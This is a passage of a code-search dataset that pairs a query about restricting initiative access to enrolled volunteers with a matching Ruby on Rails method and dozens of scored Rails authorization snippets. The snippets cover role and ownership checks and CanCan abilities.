@previous_objects = []\n @objects_outdated_due_to_dependencies = Set.new\n end", "title": "" } ]
a314a53465553ecc0d6285b35f9382c7
Ensure that only a user, at least a volunteer, who is enrolled for a particular initiative can access it
[ { "docid": "1e8655d95b2287a2320e935805e3f5f4", "score": "0.67330426", "text": "def correct_initiative_only\n unless current_user.admin?\n if current_user.service_user? || current_user.initiatives.exclude?(Initiative.find(params[:initiative_id]))\n flash[:danger] = 'You are not allowed to access that page.'\n redirect_to current_user\n end\n end\n end", "title": "" } ]
[ { "docid": "d0adf3c03fd27bc26ab2e4c9fa5d5fcd", "score": "0.6771137", "text": "def volunteered_for?(user)\n return !self.volunteers.find_by_user_id(user.id).nil?\n end", "title": "" }, { "docid": "aac3ba3d21bd14f13c14438a3a6b73fe", "score": "0.6671856", "text": "def correct_initiative_only\n unless current_user.admin?\n if current_user.service_user? || current_user.initiatives.exclude?(Initiative.find(params[:id]))\n flash[:danger] = 'You are not allowed to access that page.'\n redirect_to current_user\n end\n end\n end", "title": "" }, { "docid": "b0f4bbdc18159bcbd2f6cf45cbffd6a0", "score": "0.66094327", "text": "def volunteer_portal\n authorize! :volunteer_portal, :Reservation\n end", "title": "" }, { "docid": "e6e9cff6244cb0f3cc63bbb7250c9088", "score": "0.6608891", "text": "def volunteer(user)\n if self.volunteering_allowed? && !self.volunteered_for?(user) then\n return self.volunteers.create(:user_id => user.id)\n end\n end", "title": "" }, { "docid": "d3439dafc6bac2ca9eaf18b09779bae2", "score": "0.6463057", "text": "def correct_meeting_only\n redirect_to current_user if current_user.service_user?\n if current_user.volunteer?\n current_user.initiatives.each do |init|\n return if init.meetings.include?(Meeting.find(params[:id]))\n end\n flash[:danger] = 'You are not allowed to access that page.'\n redirect_to current_user\n end\n end", "title": "" }, { "docid": "d44b67ff8a0a43ad8970861f41575f01", "score": "0.6388012", "text": "def ensure_is_authorized_to_view\n @is_member_of_company = (@relation == :company_admin_own_site || @relation == :company_employee || @relation == :rentog_admin_own_site)\n\n # ALLOWED\n return if @relation == :rentog_admin ||\n @relation == :rentog_admin_own_site ||\n @relation == :domain_supervisor ||\n @relation == :company_admin_own_site\n\n\n # NOT ALLOWED\n # with error message\n flash[:error] = t(\"listing_events.you_have_to_be_company_member\")\n redirect_to root\n return false\n end", "title": "" }, { "docid": "9a3d5252bbcb95b85f755a733338e816", "score": "0.6387185", "text": "def authorize_employer\n unless employer?\n flash[:error] = \"Sorry you don't have permission to do that\"\n redirect_to root_path\n false\n end\n end", "title": "" }, { "docid": "a3eb11a1d290cc458a776be733c052cb", "score": "0.635087", "text": "def check_eligibility\n if params[:user_id].to_i == current_user.id\n redirect_to root_path, alert: \"Error: Owner can't collaborate\"\n end\n end", "title": "" }, { "docid": "fff3589d10f9f0900292af848c169d83", "score": "0.6333524", "text": "def check_must_be_student_restriction\n if @offering.allow_students_only?\n @restriction = MustBeStudentRestriction.new(:offering_id => @offering.id)\n render :action => \"restricted\" and return unless @restriction.allows?(@user_application)\n end\n if !@user_application.person.is_a?(Student) && @offering.require_invitation_codes_from_non_students?\n redirect_to :action => \"enter_code\" and return if @user_application.offering_invitation_code.nil?\n end\n end", "title": "" }, { "docid": "0df10ee248265cce4372e83736024342", "score": "0.6301544", "text": "def require_privilege(scope)\n # check if client has the required scope\n doorkeeper_authorize! scope\n return if performed?\n\n # check if user has heightened privileges\n case scope\n when :admin_all\n if not current_user.administrator?\n raise ApiError.new(\"User does not have admin privileges\", :forbidden)\n end\n when :instructor_all\n # @cud must have been set if the before_action order is correct\n if not @cud.instructor\n raise ApiError.new(\"User does not have instructor privileges for this course\", :forbidden)\n end\n end\n end", "title": "" }, { "docid": "a0114d489f2618530e9b7144c2c0f87b", "score": "0.6254414", "text": "def restriction_level\n return 0 # only user itself is allowed\n end", "title": "" }, { "docid": "71e0d68fd07777c1afa441d33404f862", "score": "0.6219341", "text": "def volunteering_allowed?\n # As of today, cannot volunteer if project is in 'parking lot'\n if self.event.nil? then\n return false\n else\n return self.event.volunteering_enabled?\n end\n end", "title": "" }, { "docid": "96baedd9962992ba854877e780a0bc57", "score": "0.61664575", "text": "def authorize?(user)\n user && user.moderator?\n end", "title": "" }, { "docid": "af3603819feae171757413a8d6c628e1", "score": "0.6159024", "text": "def ensure_user\n current_user? || deny_access('You must be logged in to perform this action.')\n end", "title": "" }, { "docid": "8d4f8b6153b6308be200d2804bab8243", "score": "0.61430156", "text": "def require_owner\n @course = Course.find_by_id(params[:id])\n if (!@course || @course.user != current_user)\n redirect_to :root, notice: 'Not yours. Pas touche.' \n end\n end", "title": "" }, { "docid": "ea4fa65a8c4c7e22ac35325443b551af", "score": "0.61323255", "text": "def ensure_owner_attends\n attendees << user unless attendees.include? user\n end", "title": "" }, { "docid": "59e76d00f8b88da88e8dd043f356b779", "score": "0.61164564", "text": "def updatable_by?(user)\n user.admin_for?(resource.course)\n end", "title": "" }, { "docid": "265f5f73a4c06db734d455ff9b77327c", "score": "0.61053085", "text": "def correct_user\n @user = Volunteer.find(params[:id])\n redirect_to(root_url) unless current_user?(@user)\n end", "title": "" }, { "docid": "6fd5dcaa6965d62fbe0965c2b610401f", "score": "0.60943365", "text": "def ensure_user_in_course!\n user_from_course_user = CourseUser.find(params[:id]).user\n\n unless current_user && user_from_course_user && current_user.id == user_from_course_user.id\n head 401\n end\n end", "title": "" }, { "docid": "65246f6c4f248ac10ffe1b885d0e49b5", "score": "0.60903555", "text": "def volunteer\n @event = Event.find(params[:event_id])\n if !current_user.person.is_a_volunteer_for(@event)\n current_user.person.volunteer(@event)\n else\n flash[:notice] = \"You have already volunteered for #{@event.name}\"\n redirect_to dashboard_path(current_user) and return\n end\n if current_user.save\n flash[:notice] = \"You have successfully volunteered for #{@event.name}\"\n redirect_to dashboard_path(current_user) and return\n else\n raise \"a problem has occured\"\n end\n end", "title": "" }, { "docid": "35df3dfd10d4cb1560cbf6d8a5f0c6bd", "score": "0.6084448", "text": "def check_rights\n unless is_app_authorizer?\n logger.warn 'User is not lea or sea admin and cannot access application authorizations'\n raise ActiveResource::ForbiddenAccess, caller\n end\n end", "title": "" }, { "docid": "e40e6cb558dddb5597229e527e46843d", "score": "0.6068301", "text": "def check_access\n permission_denied unless can_census?(year)\n end", "title": "" }, { "docid": "0036333c1e3794eee2f549281ab79094", "score": "0.6055497", "text": "def restrict_users\n \t\tif user_signed_in?\n \t\t\tif current_user.has_role? :client\n \t\t\t\tif current_user.profile.agreed == nil\n \t\t\t\t\tredirect_to edit_profile_path(current_user.profile)\n \t\t\t\tend\n \t\t\tend\n\n \t\tend\n\n \tend", "title": "" }, { "docid": "a4d992beb588e8c1415cf5bafd9de632", "score": "0.6044861", "text": "def can_alter?(someone)\n someone.kind_of?(User) && (someone.admin? || someone == self.user)\n end", "title": "" }, { "docid": "5739f3b1ecab972d2de47d31e8c268d6", "score": "0.6030664", "text": "def is_permitted_for?( user )\n ( user.id == self.user.id ) or ( user.privileged? )\n end", "title": "" }, { "docid": "2cccc456e5d49f662cc6d7e5910b1ea7", "score": "0.6028463", "text": "def edit\n authorize @volunteer_position\n end", "title": "" }, { "docid": "cc4294e751f0192e85b5078f5acf20e8", "score": "0.60193986", "text": "def allows_admin_access_for?(user_or_person)\n if user_or_person.is_a?(User)\n return true if user_or_person.admin?\n person = user_or_person.person\n elsif user_or_person.is_a?(Person)\n person = user_or_person\n end\n return false if person.nil?\n return true if person.current_lead?\n return true if event_coordinator == person\n return true if person.event_attendances.find_by_event_id(id).try(:admin?)\n return false\n end", "title": "" }, { "docid": "5283342b46b3fe3943cf9d1ecf86f286", "score": "0.6016383", "text": "def require_student_or_instructor\n redirect_to root_path unless @auth_user && ['Student', 'Instructor'].include?(@auth_user.type)\n end", "title": "" }, { "docid": "d9bd04c88a160b5065fe45080d255eb5", "score": "0.5992056", "text": "def can_enroll?\n self.self_enrollment_allowed && effective_cutoff_date >= Time.now\n end", "title": "" }, { "docid": "78238305bdcd3e1547e586a44f0a9160", "score": "0.5978692", "text": "def can_edit_patient_laboratories?\n has_role?(:public_health) || has_role?(:public_health_enroller)\n end", "title": "" }, { "docid": "899091f7e5a72dafde7e2d98091fb11c", "score": "0.5973172", "text": "def volunteer_logged_in?\n session[:id] && session[:volunteer]\n end", "title": "" }, { "docid": "436a96a696d3ce4ea4c1e729aae56060", "score": "0.5971633", "text": "def authorize!\n Ability.allowed?(context[:current_user], :read_milestone, parent) || raise_resource_not_available_error!\n end", "title": "" }, { "docid": "d51f484694a226f6ab3739420c41bdca", "score": "0.5969315", "text": "def set_editability\n @editable = user_signed_in? && (current_user.member.role.name.eql? \"University Admin\") &&\n current_user.member.institution.id == @course.department.institution.id\n end", "title": "" }, { "docid": "e01985b03a279fc2bc153dbb0ac52347", "score": "0.59681547", "text": "def check_access_to_employer_profile\n employer_profile = EmployerProfile.find(params[:id])\n policy = ::AccessPolicies::EmployerProfile.new(current_user)\n policy.authorize_edit(employer_profile, self)\n end", "title": "" }, { "docid": "cea41204a3db38f6f83dfa98e710ed0f", "score": "0.59639496", "text": "def define_eccept\n if current_user.info.id == @resource.id || can_manage_has_one(current_user.info, @resource, Info)\n true\n else\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "1babd98cca6c2bf8def07e4d494579ad", "score": "0.5956078", "text": "def ensure_proper_permission!\n @chatroom = Chatroom.find params[:chatroom_id]\n\n user = @chatroom.user\n study_group = @chatroom.study_group\n\n unless current_user == user || study_group&.has_member?(current_user)\n head 401\n end\n end", "title": "" }, { "docid": "c4461dbf282bd53bb0fdc37021badee3", "score": "0.5947345", "text": "def advising?(other_user)\n advisees.include?(other_user)\n end", "title": "" }, { "docid": "5042aefe42a50a83c9dc4397615b28ca", "score": "0.59434515", "text": "def is_approver?(user)\n\n self.users.include?(user)\n\n end", "title": "" }, { "docid": "9bab2542e58f51f2cd54d14136c645ae", "score": "0.5941381", "text": "def check_user_admin_permissions\n return if params[:action] == 'confirm_invitation' && params[:controller] == 'teammates'\n current_user_teammate = @current_user.teammates.where(pitch_id: @pitch.id).take\n redirect_to forbidden_path unless admin_teammate(current_user_teammate)\n end", "title": "" }, { "docid": "9e06788aab2cc6ab9c058937bf1afb4d", "score": "0.59291434", "text": "def ensure_at_williams\n forbidden \"You are not logged in as a current student or faculty/staff member.\" unless at_williams?\n end", "title": "" }, { "docid": "897fbb18e82640df2a89b5bb3c3c58bf", "score": "0.5927404", "text": "def has_access(developer)\r\n current_user.id == developer.id\r\n end", "title": "" }, { "docid": "f48e1a9cb08f6bbeda6a1e2ed0197f0f", "score": "0.5922757", "text": "def check_chair\n if (!current_user.superadmin_role)\n redirect_to root_path, notice: 'You do not have permissions to do that'\n end\n end", "title": "" }, { "docid": "ff1873c4731126ea4601be65a9fa891e", "score": "0.59110856", "text": "def require_object_owner\n if User.find(params[:user_id]) != current_user\n flash[:error] = \"Sorry! Viewing not authorized.\"\n redirect_to :back\n end\n end", "title": "" }, { "docid": "c4546ec513acfb91a1a2f45b84272c14", "score": "0.59108484", "text": "def create_permitted?\n acting_user.administrator?\n end", "title": "" }, { "docid": "c4546ec513acfb91a1a2f45b84272c14", "score": "0.59108484", "text": "def create_permitted?\n acting_user.administrator?\n end", "title": "" }, { "docid": "c4546ec513acfb91a1a2f45b84272c14", "score": "0.59108484", "text": "def create_permitted?\n acting_user.administrator?\n end", "title": "" }, { "docid": "c4546ec513acfb91a1a2f45b84272c14", "score": "0.59108484", "text": "def create_permitted?\n acting_user.administrator?\n end", "title": "" }, { "docid": "f5880bcd7837e93d8957bb39fff4a01d", "score": "0.59090173", "text": "def acceptable_by?(user)\n return false unless user.has_role?(:admin, user.unit)\n resource.pending?\n end", "title": "" }, { "docid": "6dea93d7e72462f34f9d34259c173da1", "score": "0.5905961", "text": "def require_admin\n unless env['warden'].user.advisor? || env['warden'].user.resident?\n flash.error = \"You are not authorized to access that page.\"\n redirect '/'\n end\n end", "title": "" }, { "docid": "e66b4395e8a25369a5e00a91863f18b2", "score": "0.59052914", "text": "def require_correct_admin\n if current_user.user?\n raise ExceptionTypes::UnauthorizedError.new(\"Admin access only\")\n end\n if current_user.admin?\n raise ExceptionTypes::UnauthorizedError.new(\"You do not have permission to modify the program with ID #{@program.id}\") unless @program.admins.exists? current_user.id\n end\n end", "title": "" }, { "docid": "d4db6255f01563b76d071f93118c0129", "score": "0.5892889", "text": "def authorize?(user)\n user && user.admin?\n end", "title": "" }, { "docid": "e6ceb93bf92fff8b2324024e5df94cb7", "score": "0.5890675", "text": "def deny_admin_suicide\n raise 'admin suicided' if User.count(&:admin) <= 1\n end", "title": "" }, { "docid": "e6ceb93bf92fff8b2324024e5df94cb7", "score": "0.5890675", "text": "def deny_admin_suicide\n raise 'admin suicided' if User.count(&:admin) <= 1\n end", "title": "" }, { "docid": "7184d7078145ce70bdbbaee491766526", "score": "0.58871436", "text": "def admin_or_professor_user\n unless this_is_admin?(current_user) || this_is_professore?(current_user)\n flash[:danger] = \"You don't have the rights for this page.\"\n redirect_to(root_url)\n end\n end", "title": "" }, { "docid": "dd6f7732e55269e16c663cb9d4171477", "score": "0.5886168", "text": "def permitted?; end", "title": "" }, { "docid": "6360466e45abe92713bb62257c49c83c", "score": "0.58849925", "text": "def check_authorizations!\n raise FphsNotAuthorized unless can_create_in_list?\n\n unless list_class.no_master_association || from_master.allows_user_access\n raise FphsNotAuthorized, 'Master does not allow user access'\n end\n\n raise FphsNotAuthorized, \"No access to #{source_type}\" unless can_access_source_type?\n\n raise FphsNotAuthorized, \"No access to #{assoc_name}\" unless can_access_associated_table?\n end", "title": "" }, { "docid": "495f3a816ceea48dbbee647b065895f5", "score": "0.58777845", "text": "def required_student\n require_user_type(:student)\n end", "title": "" }, { "docid": "517d9e7e193219c7b561edc72ed8681d", "score": "0.58766407", "text": "def authorize_own_collaborations\n render_alert(I18n.t('controllers.user.unauthorized')) unless users_collaboration?(params[:id]) || users_list_collaboration?(params[:id])\n end", "title": "" }, { "docid": "85a984fc45513f6633438f7bb48f1b55", "score": "0.58743", "text": "def updatable_by?(user)\n return false unless user.has_role?(:wizard, user.unit)\n !resource.mandatory? || !resource.accepted?\n end", "title": "" }, { "docid": "f5044e8f7f2956bba3aa599bea4bd7f8", "score": "0.5860545", "text": "def authenticate_venture_owner!\n render \"errors/404\" unless Venture.find(params[:venture_id]).user_id == current_user.id\n end", "title": "" }, { "docid": "7a882bd0d45cfdc3b80440a2b21062a5", "score": "0.58587945", "text": "def valid_assign(course_id,current_user)\n if current_user.typeofuser == \"admin\" then\n if current_user.tenant.pricing_plan.plan_group == \"assessment_only_plan\" then\n #uncomment the below code if we want to stop the admin while assigning only\n # if current_user.tenant.remaining_learner_credit > 0 then\n # return true\n # else\n # return false\n # end\n return true\n else\n max_learners_to_be_assigned = current_user.tenant.pricing_plan.no_of_users\n total_leaners_assigned = current_user.user.find(:all,:conditions=>[\"deactivated_at IS ?\",nil]).length\n\n if total_leaners_assigned <= max_learners_to_be_assigned\n return true\n else\n return false\n end\n end\n\n elsif current_user.typeofuser == \"individual buyer\" or current_user.typeofuser == \"corporate buyer\" then\n max_learners_to_be_assigned = BuyerSeller.find_by_course_id_and_buyer_user_id(course_id,current_user.id).no_of_license\n total_leaners_assigned = Learner.find_all_by_admin_id_and_course_id(current_user.id,course_id).length\n if total_leaners_assigned < max_learners_to_be_assigned - 1\n return true\n else\n return false\n end\n end\n end", "title": "" }, { "docid": "67dc3b52a51dac2000645a7a89730315", "score": "0.5858109", "text": "def cannot_edit(_t)\n !session[:is_administrator] && !_t.approver_id.blank?\n end", "title": "" }, { "docid": "3af34224e2ad06100cb274d3190654bc", "score": "0.5852597", "text": "def verify_access\n unless current_user.id == @organization.user_id\n flash[:warning] = \"You do not have authority to access that.\"\n redirect_to user_path(current_user.id)\n end\n end", "title": "" }, { "docid": "d82d7e8ff8c56d2b7fb272b7287d6aea", "score": "0.5851309", "text": "def check_user_elibility\n service = UserEligibility.new(params[:id])\n result = service.check_eligibility\n render_error(result) unless result == 'CUSTOMER_ELIGIBLE'\n end", "title": "" }, { "docid": "20ccb5cf541d0e40b4e34d78fc527c09", "score": "0.58483696", "text": "def status_restricted?\n (prospect || exstudent || student) &&\n !(prospect && exstudent && student)\n end", "title": "" }, { "docid": "5a4220ea14b30f542ff813c69a992596", "score": "0.5845723", "text": "def can_be_assigned?(_user)\n false # any user can complete operation\n end", "title": "" }, { "docid": "c416ceecc21ba2324cda92f064d0ecac", "score": "0.58438474", "text": "def participants_only\n return unauthorized! unless @engagement.allowed?(@authenticated_user, :all)\n end", "title": "" }, { "docid": "5a98e4d9669b6ef1485c0b3b0757e73e", "score": "0.58376825", "text": "def authorize_leader!\n raise CanCan::AccessDenied if current_user.managed_chapters.count.zero?\n end", "title": "" }, { "docid": "d3cdabf7a4b58677a0e1d55f0d663fb3", "score": "0.5833592", "text": "def permission_required \n render_403 unless admin? || @user == current_user\n end", "title": "" }, { "docid": "9ce12ceffd8f15711ef962c7c3cebc61", "score": "0.58275783", "text": "def authorize?(person)\n person.is_admin?\n end", "title": "" }, { "docid": "9d78dd1753895ff7287c3e6535b8f542", "score": "0.58259934", "text": "def require_permission\n if Retirement.find(params[:id]).user != current_user\n redirect_to retirements_url, flash: { error: \"You do not have permission to do that.\"}\n end\n end", "title": "" }, { "docid": "388e0e5adca4502ad7b29daf8e988297", "score": "0.5817682", "text": "def verify_ownership\n set_user_training\n if UserTrainingAccessibility.new( current_user, @user_training ).is_owned\n return\n else\n flash[:error] = I18n.t(:invalid_action_request)\n redirect_to( user_trainings_path() ) and return\n end\n end", "title": "" }, { "docid": "cde1394f8f2f7d11d1f4b302b037074c", "score": "0.58149296", "text": "def is_permitted_for?( user )\n return true if user.privileged?\n\n # User is restricted. User can only see this object if it\n # has at least one task associated with it and at least one\n # of those associated tasks appears in the user's permitted\n # task list, so check the intersection of the two arrays.\n\n return ( self.tasks & user.tasks ).length > 0\n end", "title": "" }, { "docid": "c5facb96aa6d758b54d2e129c77c378a", "score": "0.5814362", "text": "def voter(user)\n if RuntimeConfig.vote_signin_active? || RuntimeConfig.voting_active?\n can :access, :elections\n can :access, Election\n end\n\n if RuntimeConfig.voting_active?\n can :access, :votes\n end\n end", "title": "" }, { "docid": "81906f070fe54337789a62b62803e759", "score": "0.58129275", "text": "def require_lead_role\n \tproj_id=\"\"\n \tif session[:project_id].nil?\n \t\tproj_id = params[:project_id].nil? ? params[:id] : params[:project_id]\n\t\t else\n\t\t \tproj_id = session[:project_id]\n\t\t end\n\t\t \t \t\n \tunless User.current_user_has_project_edit_privilege(proj_id, current_user) \t\t\n \t\tif User.current_user_has_study_edit_privilege(proj_id, current_user)\n \t\t\tflash[:notice] = \"Your access level does not allow you to edit the project details.\"\n \t\t\tredirect_to \"/projects/\"+proj_id.to_s+\"/studies\"\n \t\telse\n \t\t\tflash[:notice] = \": You have not been granted access to this resource.\"\n \t\t\tredirect_to \"/\"\n \t\tend\n \t\treturn false\n \tend\n end", "title": "" }, { "docid": "336ea04c55debbc56874616f7c72e655", "score": "0.5803425", "text": "def ensure_user_has_rights\n redirect_to root_path unless current_user\n end", "title": "" }, { "docid": "1b4a1af4134f362745b5c43949da5724", "score": "0.5802509", "text": "def professor_user\n unless this_is_professore?(current_user)\n flash[:danger] = \"You don't have the rights for this action.\"\n redirect_to(root_url)\n end\n end", "title": "" }, { "docid": "04bfc5f3e0c501990635b1da3363e16c", "score": "0.5801187", "text": "def check_resource_ownership\n if admin_user.is_not_root?\n\n condition_typus_users = @item.respond_to?(Typus.relationship) && !@item.send(Typus.relationship).include?(admin_user)\n condition_typus_user_id = @item.respond_to?(Typus.user_foreign_key) && !admin_user.owns?(@item)\n\n not_allowed if (condition_typus_users || condition_typus_user_id)\n end\n end", "title": "" }, { "docid": "c28bcb40489cf1fe52a4ef94cd407036", "score": "0.5800196", "text": "def check_requester(submission_id)\n if(!Submission.find(submission_id).submitted_by_user?(current_user.id) && !current_user.is_admin?)\n unauthorized_request\n end\n end", "title": "" }, { "docid": "96cb0155aae681ac9372e0093a1e4de0", "score": "0.5795987", "text": "def may_interview?(*args)\n\t\t\t(self.role_names & \n\t\t\t\t['superuser','administrator','editor','interviewer']\n\t\t\t).length > 0\n\t\tend", "title": "" }, { "docid": "c4042c24628330cd2c30cee00e30c5b9", "score": "0.5795782", "text": "def action_allowed?\n current_user_has_student_privileges?\n end", "title": "" }, { "docid": "0434eff37f97365c94e82af3a9c216f9", "score": "0.5795114", "text": "def professor_user\n unless this_is_professore?(current_user)\n flash[:danger] = \"You don't have the rights for this page.\"\n redirect_to(root_url)\n end\n end", "title": "" }, { "docid": "566d1b728fcd41e803f0ac43ca1dd0e6", "score": "0.57908285", "text": "def permitted?(user)\n Article.can_edit?(user)\n end", "title": "" }, { "docid": "a2a52ca5495f11dfd00e178eb4db479c", "score": "0.5789094", "text": "def authorize_edit\n authorize! :edit, @opportunity\n end", "title": "" }, { "docid": "7b4a0dd44f3dd167c7f3eaf7ffdd5b64", "score": "0.57885927", "text": "def authenticate_vip_or_admin!\n raise SecurityError unless current_user.try(:admin?) || current_user.try(:vip?)\n end", "title": "" }, { "docid": "54fc5fe5010acac28f3103b2d4f28775", "score": "0.57876235", "text": "def approve?\n user && user.able_to?(:moderate_any_forum, record.forum)\n end", "title": "" }, { "docid": "f1f7f55a6cbc8aa0566ff3b01759fb2f", "score": "0.5785668", "text": "def check_write_access(ven)\r\n #KS- if it's a public venue raise an exception\r\n raise \"Current user doesn't have rights to edit public place #{ven.id}\" if ven.public_venue\r\n\r\n #KS- if it's owned by someone else, raise an exception\r\n raise \"Current user doesn't have rights to edit place #{ven.id}\" if ven.user_id != current_user.id\r\n end", "title": "" }, { "docid": "50bec28919620194764325b27f6c8753", "score": "0.57854396", "text": "def can_view_patient_laboratories?\n has_role?(:public_health) || has_role?(:public_health_enroller)\n end", "title": "" }, { "docid": "08680ec23235432d122522bea08b0f77", "score": "0.57821167", "text": "def require_user_can_manage( object )\n\t\tunless ( object.user == @current_user ) || ( @current_site.admins.include? @current_user )\n\t\t\tfail \"Not your #{obj.class.to_s}\", :error\n\t\t\treturn false\n\t\tend\n\tend", "title": "" }, { "docid": "c62448fd8f633c88700fece756e85be2", "score": "0.57779276", "text": "def appctrl_ensure_is_owner\n model = controller_name.camelize.singularize.constantize # :-)\n @item = model.find( params[ :id ] )\n\n if ( @item.user_id != current_user.id )\n render_optional_error_file( 401 ) unless current_user.is_admin?\n end\n end", "title": "" }, { "docid": "523a440d1d7c1ad6d2c615b34ea5423f", "score": "0.5777593", "text": "def professor_user\n unless this_is_professore?(current_user)\n flash[:danger] = \"You don't have the rights for this page/action.\"\n redirect_to(root_url)\n end\n end", "title": "" }, { "docid": "523a440d1d7c1ad6d2c615b34ea5423f", "score": "0.5777593", "text": "def professor_user\n unless this_is_professore?(current_user)\n flash[:danger] = \"You don't have the rights for this page/action.\"\n redirect_to(root_url)\n end\n end", "title": "" }, { "docid": "2fb0c707a795761fcde1f901d0009078", "score": "0.5777147", "text": "def check_user_rights\n if( params[:id] && !admin_authorized? )\n @bundle = Bundle.find(params[:id])\n if( ! @bundle.public )\n if( @bundle.created_by_user_id != @user.id )\n \t\t\t\trender :action => \"not_allowed\" \n end\n end\n end\n end", "title": "" }, { "docid": "2916570ae22802791b311bc310a43314", "score": "0.5772613", "text": "def can_approve?(target)\n is_staff? && target && target.active? && !target.approved?\n end", "title": "" }, { "docid": "659fcef7d5959f8542d251c15d67fe51", "score": "0.5769423", "text": "def own_user_or_admin_required\n if current_user\n if (current_user.id == params[:id]) || current_user.admin\n return\n end\n end\n redirect_to \"/login\", notice: 'Logga in som denna användare för att ändra uppgifter.'\n end", "title": "" }, { "docid": "89ad7777d4ac16bc2c5ee2ec3f953e55", "score": "0.57645947", "text": "def define_eccept\n if current_user.info.id==@resource.id || can_manage_has_one(current_user.info, @resource, @model)\n return true\n else\n redirect_to root_path \n end\n end", "title": "" }, { "docid": "e9276b06b661665c7a96a17434acba1f", "score": "0.57626516", "text": "def create?\n\t\tuser.course_grants > 0\n\tend", "title": "" }, { "docid": "21fd516f6e368101fe7f16e4cb0f1d8a", "score": "0.576082", "text": "def validate_consistent_user\n return if course_user && course_user.user == creator\n\n errors.add(:experience_points_record, :inconsistent_user)\n end", "title": "" }, { "docid": "21fd516f6e368101fe7f16e4cb0f1d8a", "score": "0.576082", "text": "def validate_consistent_user\n return if course_user && course_user.user == creator\n\n errors.add(:experience_points_record, :inconsistent_user)\n end", "title": "" }, { "docid": "b768a4ec457eac182d3ad3bf67036f84", "score": "0.5759354", "text": "def registered_adult(user)\n # TENANT\n can :manage, Tenant do |t|\n t.organisers.include? user\n end\n\n can :read_reports, Tenant do |t|\n # TODO: put per tenant shit here (prob by checking tenant config)\n can? :manage, t\n end\n\n can :read_dashboard, Tenant do |t|\n # TODO: put per tenant shit here (prob by checking tenant config)\n can? :manage, t\n end\n\n can :create_tenanted_league, Tenant do |t|\n # TODO: put per tenant shit here (prob by checking tenant config)\n can? :manage, t\n end\n\n can :manage_leagues do |t|\n # TODO: put per tenant shit here (prob by checking tenant config)\n can? :manage, t\n end\n\n can :manage_teams, Tenant do |t|\n # TODO: put per tenant shit here (prob by checking tenant config)\n can? :manage, t\n end\n\n # LEAGUE\n can :manage, League do |l|\n l.has_organiser?(user) || can?(:manage_leagues, l.tenant)\n end\n \n # DIVISION\n can :manage, DivisionSeason do |div|\n can? :manage, div.league\n end\n\n can :read_unpublished, DivisionSeason do |div|\n can? :manage, div.league\n end\n\n can :add_team, DivisionSeason do |ds|\n ds.config.applications_open\n end\n\n # FIXTURE\n can :manage, Fixture do |fx|\n can? :manage, fx.division_season\n end\n\n # RESULT\n can :update, Result do |r|\n can? :manage, r.fixture\n end\n\n # POINTS\n can :update, Points do |p|\n can? :manage, p.fixture\n end\n\n can :update, User do |user_check|\n\n can_update = false\n\n if (user == user_check || can?(:act_on_behalf_of, user_check) || admin_of_users_league?(user, user_check))\n can_update = true\n\n elsif user_check.role?(RoleEnum::INVITED)\n #SR - there is a problem in that a user could be invited dto multiple teams and an organiser could update\n #their details and the update would be seen across all teams!\n can_update = (user_check.team_roles.map(&:obj_id) & user.teams_as_organiser_ids).count > 0\n end\n\n can_update\n end\n\n can :update, DemoUser do |user_check|\n user == user_check \n end \n\n # TEAM\n can :create, Team\n\n can :create_o2_touch_team, Team do |team|\n # true\n user.teams_as_organiser.select{|t| t.tenant_id == TenantEnum::O2_TOUCH_ID }.count > 0\n end\n\n can :create_mitoo_team, Team\n\n can :create_alien_team, Team do |team|\n false\n end\n\n can :create_soccer_sixes_team, Team do |team|\n false\n end\n\n can :update, Team do |team|\n team.has_organiser?(user)\n end\n\n # including creating events\n can :manage, Team do |team|\n # nil check, so we can chain the abilites together, without nil checks everywhere\n team != nil && (team.has_organiser?(user) || can?(:manage_teams, team.tenant))\n end\n\n can :manage_roster, Team do |team|\n # change LMR settings to use new config # need a better method name here...\n can?(:manage, team) || (team.league_managed_roster? && team.user_is_primary_league_admin?(user)) \n end\n\n can :add_follower, Team do |team|\n team.config.team_followable && team.has_associate?(user)\n end\n\n can :become_faft_organiser, Team do |team|\n team.faft_team? && team.organisers.count == 0 && team.has_follower?(user)\n end\n\n can :delete, PolyRole do |poly_role|\n if poly_role.obj.is_a? Team\n if poly_role.user_id == user.id\n poly_role.role_id == PolyRole::FOLLOWER\n else\n can? :manage_roster, poly_role.obj #team\n end\n else\n false\n end\n end\n\n can :create_message, Team do |team|\n team.has_active_member?(user)\n end\n\n can :view_public_profile, Team do |team|\n team.has_follower?(user)\n end\n\n # EVENT\n can :create, Event if user.teams_as_organiser.count > 0\n\n # nb. This ability duplicated (for app speed) in event_json_helper.rb, so make\n # any edits there aswell! TS.\n can :manage_event, Event do |event|\n # organiser, or registered team organiser\n if !event.fixture.nil?\n false #abitshit ie. won't work once fixtures are used outside of leagues. TS\n else\n event.user_id == user.id || can?(:manage, event.team)\n end\n end\n\n can :manage_event, DemoEvent do |event|\n # organiser, or registered team organiser\n event.user_id == user.id || can?(:manage, event.team)\n end\n \n can :send_invites, Event do |event|\n # registered event or team organiser\n event.user_id == user.id || can?(:manage, event.team)\n end\n \n can :create_message, Event do |event|\n # organiser, or registered player\n # TODO: generalise this set of perms (and refactor to check user has role on team)\n #event.team.has_associate?(user) &&\n (event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team))\n end\n\n can :create_message, DivisionSeason do |div|\n # TODO: This is very slow\n div.league.has_organiser? user\n end\n\n # ACTIVITY ITEM COMMENTS AND LIKES\n can :comment, EventMessage do |message| \n # if this implementation changes then a test is required\n if message.messageable.is_a? Team \n team = message.messageable\n team.has_active_member?(user)\n elsif message.messageable.is_a? Event\n can? :create_message, message.messageable\n end \n end\n\n can :like, EventMessage do |message| \n # if this implementation changes then a test is required\n can? :comment, message\n end\n\n can :comment, EventResult do |event_result|\n # if this implementation changes then a test is required\n can? :create_message, event_result.event \n end\n can :like, EventResult do |event_result|\n # if this implementation changes then a test is required\n can? :create_message, event_result.event \n end\n\n #SR - NEED TO FIX ALL OF THIS\n can [:like, :comment], [InviteResponse, InviteReminder] do |obj|\n #obj.teamsheet_entry.event.team.has_active_member?(user)\n true\n end\n \n can [:like, :comment], Event do |event|\n #event.team.has_active_member?(user)\n true\n end\n\n can [:like, :comment], TeamsheetEntry do |tse|\n #tse.event.team.has_active_member?(user)\n true\n end\n\n can :destroy, ActivityItemLike do |like|\n user == like.user\n end\n\n can :update, ActivityItem do |ai|\n #Currently we can only update EventMessage items. \n #Premissions around ActivityItem objs are a bit tricky however for now\n #it makes sense to check if the current user can update the 'obj'.\n\n if ai.obj_type == EventMessage.name\n #SR We want to check that the user can manage a team but I am not going to implement,\n #this 